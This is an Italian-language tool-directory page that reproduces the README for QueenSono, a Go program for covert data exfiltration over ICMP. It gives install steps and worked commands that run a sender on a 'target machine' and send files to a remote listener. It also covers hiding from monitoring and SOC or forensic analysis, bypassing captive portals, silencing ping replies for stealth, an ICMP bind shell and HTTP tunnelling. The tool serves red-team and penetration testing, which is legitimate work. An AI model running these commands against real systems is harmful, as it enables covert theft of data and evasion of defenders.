Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
QueenSono — Binario Golang per l'esfiltrazione di dati con protocollo ICMP (+ ICMP bindshell, http over ICMP tunneling, ...) | Kitploit
Strumenti/GitHubGitHub/ariary/queensono
Esfiltrazione DatiSicurezza di RetePenetration TestingCommand and ControlRed Teaming
GitHubariary/queensono

QueenSono

Binario Golang per l'esfiltrazione di dati con protocollo ICMP (+ ICMP bindshell, http over ICMP tunneling, ...)

Vedi Repository
1682723 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

QueenSono Esfiltrazione Dati ICMP



Un pacchetto Golang per l'esfiltrazione di dati con il protocollo ICMP (IPv4 e IPv6).

Lo strumento QueenSono si basa solo sul fatto che il protocollo ICMP non è monitorato. È abbastanza comune. Potrebbe essere usato anche all'interno di un sistema con ispezione ICMP di base (ad es. controllo di frequenza e lunghezza del contenuto) o per bypassare la fase di autenticazione con captive portal (usato da molti Wi-Fi pubblici per autenticare gli utenti dopo la connessione, ad es. Wi-Fi aeroportuali). Cerca di imitare PyExfil (e altri) con l'idea che la macchina target non abbia necessariamente Python installato (quindi fornire un binario potrebbe essere utile)

Installalo · Usalo · Note · Richiedi funzionalità · 🎁

Install

Con curl

> Dalla release

root@kitploit:~
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

Con go

> Tramite go install

Assicurati che $GOPATH sia nel tuo $PATH prima

Installa qssender

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary

Installa qsreceiver

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary

> Installa il binario dal sorgente

Clona il repo e scarica le dipendenze localmente:

root@kitploit:~
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

Per costruire l'invio di pacchetti ICMP qssender :

root@kitploit:~
 build.queensono-sender

Per costruire il ricevitore di pacchetti ICMP qsreceiver :

root@kitploit:~
 build.queensono-receiver

Usage

qssender è il binario che invierà pacchetti ICMP al listener, quindi è il binario che devi trasferire sulla macchina target.

qsreceiver è il listener sulla tua macchina locale (o ovunque tu possa ricevere pacchetti ICMP)

Tutti i comandi e i flag dei binari possono essere trovati usando --help

Esempio 1: Invia con "ACK" 🔙

> In questo esempio vogliamo inviare un file grande e monitorare le echo reply per confermare la ricezione dei pacchetti (ACK).

demo

Sulla macchina locale:

root@kitploit:~
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
Spiegazione
  • -l 0.0.0.0 ascolta su tutte le interfacce per pacchetti ICMP
  • -f received_bible.txt salva i dati ricevuti in un file
  • -p mostra una barra di avanzamento dei dati ricevuti
  • Sulla macchina target:

    root@kitploit:~
    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    Spiegazione
  • send file per inviare un file (bible.txt è il file in questione)
  • -d 2 invia un pacchetto ogni 2 secondi
  • -l 0.0.0.0 l'indirizzo di ascolto per echo reply
  • -r 10.0.0.92 l'indirizzo della mia macchina remota con qsreceiver in ascolto
  • -s 50000 la dimensione dei dati che voglio inviare in ogni pacchetto
  • Esempio 2: Invia senza "ACK" 🙈

    > In questo esempio vogliamo inviare un messaggio senza attendere la echo reply (potrebbe essere utile nel caso in cui il firewall di destinazione filtri i pacchetti ICMP in entrata)

    demo

    Sulla macchina locale:

    root@kitploit:~
    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    Spiegazione
  • receive truncated 1 non attende indefinitamente se non riceviamo tutti i pacchetti. (1 è il ritardo usato con qssender)

  • per la furtività si può impedire al kernel di rispondere a qualsiasi ping ICMP
    root@kitploit:~
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    Sulla macchina target:

    root@kitploit:~
    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    Spiegazione
  • -N opzione noreply (non attendere echo reply)
  • Esempio 3: Invia dati crittografati 🔒

    > In questo esempio vogliamo inviare un messaggio crittografato. Poiché la riga di comando potrebbe essere spiata, utilizziamo la crittografia asimmetrica (se la chiave viene divulgata, non è un problema)

    demo

    Sulla macchina locale:

    root@kitploit:~
    $ qsreceiver receive -l 0.0.0.0 --encrypt 
    <OUTPUT PUBLIC KEY>
    
    Spiegazione
  • --encrypt utilizza lo scambio di crittografia. Genererà una chiave pubblica/privata. Quella pubblica sarà usata da qssender per crittografare i dati, quella privata per decrittografarli con receiver
  • Sulla macchina target:

    root@kitploit:~
    $ export MSG="<your message>"
    $ export KEY="<public_key_from_qsreceiver_output>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    Spiegazione
  • --key fornisce la chiave per la crittografia dei dati. Usa quella fornita dal comando qsreceiver
  • Sulla crittografia

    La crittografia RSA viene utilizzata per mantenere confidenziali i dati scambiati. Potrebbe essere utile, ad esempio, per evitare che un SoC veda quali dati vengono scambiati (o per analisi forense) con analisi di base o semplicemente per la privacy.

    Ma ha un costo. La scelta della crittografia asimmetrica è motivata dal fatto che la chiave di crittografia viene inserita sulla riga di comando (quindi potrebbe essere recuperata facilmente). Pertanto, crittografiamo i dati con la chiave pubblica. In questo modo, se qualcuno recupera la chiave di crittografia, non sarà possibile decrittografare il messaggio. Ma la chiave pubblica è più piccola di quella privata, quindi crittografa messaggi più piccoli. Inoltre, è computazionalmente costosa.

    Un altro punto: poiché vogliamo limitare la dimensione dei dati/richieste ping (per evitare rilevamento, bug, ecc.), usa la crittografia solo se necessario poiché la dimensione dell'output del messaggio sarà (dovrebbe) sempre uguale alla dimensione del Modulo (parte della chiave) che è grande.

    Miglioramento

    Attualmente, l'intero messaggio viene crittografato e poi suddiviso in blocchi per essere inviato. Dall'altro lato attendiamo tutti i pacchetti (blocchi), ricostruiamo il messaggio e poi lo decrittografiamo. Ma funziona ⇔ abbiamo ricevuto TUTTI i blocchi, altrimenti la decrittografia fallirà.

    => Potremmo crittografare ogni blocco in base al parametro -s, in questo modo potremmo decrittografarli separatamente.

    Esempio 4: Ricevi dati tramite echo reply ↩️

    > In questo esempio la macchina locale invia dati di ritorno al target tramite echo reply ICMP. Utile quando l'ICMP in uscita dal target è filtrato ma il target può ricevere echo reply.

    Sulla macchina locale:

    root@kitploit:~
    $ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
    
    Spiegazione
  • reply-send attende un trigger da qssender, poi invia i dati indietro come echo reply ICMP
  • -l 0.0.0.0 ascolta su tutte le interfacce per il pacchetto di trigger
  • -d 1 ritardo di 1 secondo tra ogni pacchetto di risposta
  • Sulla macchina target:

    root@kitploit:~
    $ qssender receive -l 0.0.0.0 -r 10.0.0.92
    
    Spiegazione
  • receive invia un trigger a qsreceiver e raccoglie i dati dalle echo reply in arrivo
  • -l 0.0.0.0 l'indirizzo di ascolto per le echo reply in arrivo
  • -r 10.0.0.92 l'indirizzo della mia macchina locale con qsreceiver reply-send in attesa
  • Supporto IPv6

    QueenSono supporta ICMPv6 in modo trasparente. Passa un indirizzo IPv6 e il protocollo viene rilevato automaticamente — nessun flag aggiuntivo necessario.

    Sulla macchina locale:

    root@kitploit:~
    $ qsreceiver receive -l ::
    

    Sulla macchina target:

    root@kitploit:~
    $ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
    
    Spiegazione
  • -l :: ascolta su tutte le interfacce IPv6
  • -r fe80::1 indirizzo IPv6 della macchina remota — attiva automaticamente ICMPv6
  • Tutte le modalità (invio con ACK, invio senza ACK, crittografata, echo reply) funzionano allo stesso modo su IPv6.

    Bonus

    Vedi la sezione hack per cose divertenti con QueenSono:

    • Bind shell tramite ICMP
    • Tunneling HTTP su ICMP

    Note

    • funziona solo su Linux (a causa dell'uso del pacchetto golang net icmp)
    • richiede capacità cap_net_raw
    • supporta sia IPv4 (ICMP) che IPv6 (ICMPv6) — rilevato automaticamente dall'indirizzo
    • se invii effettivamente pacchetti ICMP su 2 macchine diverse e attendi echo reply, assicurati di usare un IP raggiungibile dal remoto come indirizzo di ascolto (non usare localhost o equivalente)
    Scarica lo strumento